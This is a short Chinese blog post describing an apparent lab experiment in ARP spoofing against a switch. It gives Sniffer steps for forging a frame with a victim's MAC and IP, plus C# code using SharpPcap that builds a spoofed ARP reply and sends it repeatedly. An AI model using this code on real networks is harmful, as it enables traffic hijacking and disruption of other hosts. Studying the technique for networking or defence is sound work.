利用Sniffer分析 ARP报文

     本想写点什么,转念一想没有什么新的东西可写。比如sniffer的使用、局域网扫描原理、 ARP欺骗原理和方式,交换机的报文交换原理,等网上都有好多材料。我这里做的实验的是sniffer向交换机发送ARP欺骗报文.过程不做多说明,首先打开sniffer准备获取报文,然后ping某个主机 ,就可以获取ARP报文了,点击发送此帧。这里做一些修改,源MAC为被攻击主机MAC,目的MAC为交换机MAC,目的IP为交换机的IP  ,源IP为被攻击主机的IP。

如图:

查找网上相关资料,用C#写了个发送ARP报文的小程序,其实也就只是做的修改,原程序存在一点小错误。

程序界面 如图:

这个代码是调用开源项目SharpPcap开源的网络捕获项目http://sourceforge.net/projects/sharppcap/。  //链接已坏

 这个项目和所有sniffer软件一样,是用wincap库的。需要安装wincap。http://www.winpcap.org/   //链接已坏

核心代码分析:
//获取存在XML文档中的数据
        public data getDate() 
        {
            FileStream fs = File.OpenRead("config.xml");
            System.Xml.Serialization.XmlSerializer xml = new System.Xml.Serialization.XmlSerializer (typeof(data));
            data data = (data)xml.Deserialize(fs);
            fs.Close();    //需要关闭读取流,不然写入会有错误。源码在此处存在错误
            return data;
        }
//。。。。。。

//当关闭时,把修改之后的数据写入XML文档
public void saveData(data data) 
        {
           FileStream fs = File.OpenWrite("config.xml");
           System.Xml.Serialization.XmlSerializer xml = new System.Xml.Serialization.XmlSerializer(typeof(data));
           xml.Serialize(fs, data);
           fs.Close();
        }


 /// <summary>
        /// 发送数据
        /// </summary>
        public  void sendPack()
        {
           //需要添加SharpPcap.dll和PacketDotNet.dll引用
            var cap = SharpPcap.CaptureDeviceList.Instance[0];
            cap.Open();
            while (true)
            {
                cap.SendPacket(packet);
                Time++;
                label1.Text = Time+"";
                if (Time == Convert.ToInt32(textBox2.Text)) 
                {
                    button2.Enabled = false;
                    t.Abort();
                 }
                Thread.Sleep(timeSpan);
            }
        }


/// <summary>
        /// 获取数据包,把需要设置数据插入到数据包中
        /// </summary>
        /// <returns></returns>
        public byte[] getPacket(byte[] yIP,byte[] mIP,byte[] yMAC,byte[] mMAC)
        {
            //ARP数据包,这里可以结合第一张图片。
            byte[] packet = new byte[] { 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 
                0x08, 0x06, 0x00, 0x01, 0x08, 0x00, 0x06, 0x04, 0x00, 0x02, 0x00, 0x23, 0xcd, 0x34, 0x20, 0x0e, 
                0xc0, 0xa8, 0x01, 0x01, 0xe0, 0xcb, 0x4e, 0x2f, 0x8a, 0xc7, 0xc0, 0xa8, 0x01, 0x63, 0x00, 0x00, 
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5d, 0x27, 0xa1, 0xb5};
            //循环替换IP
            for (int i = 0; i < 4; i++)
            {
                packet[i + 28] = yIP[i];             
                packet[i + 38] = mIP[i];
            }
            //循环替换MAC
            for (int i = 0; i < 6; i++)
            {
                packet[i+ 22] = yMAC[i];
                packet[i] = mMAC[i];
                packet[i+6] = yMAC[i]; 
                packet[i + 32] = mMAC[i];
            }
            return packet;
        }
 

代码参考http://www.cnblogs.com/zifeiniu/archive/2011/06/16/2083015.html

原文地址:https://www.cnblogs.com/dreamfactory/p/2732542.html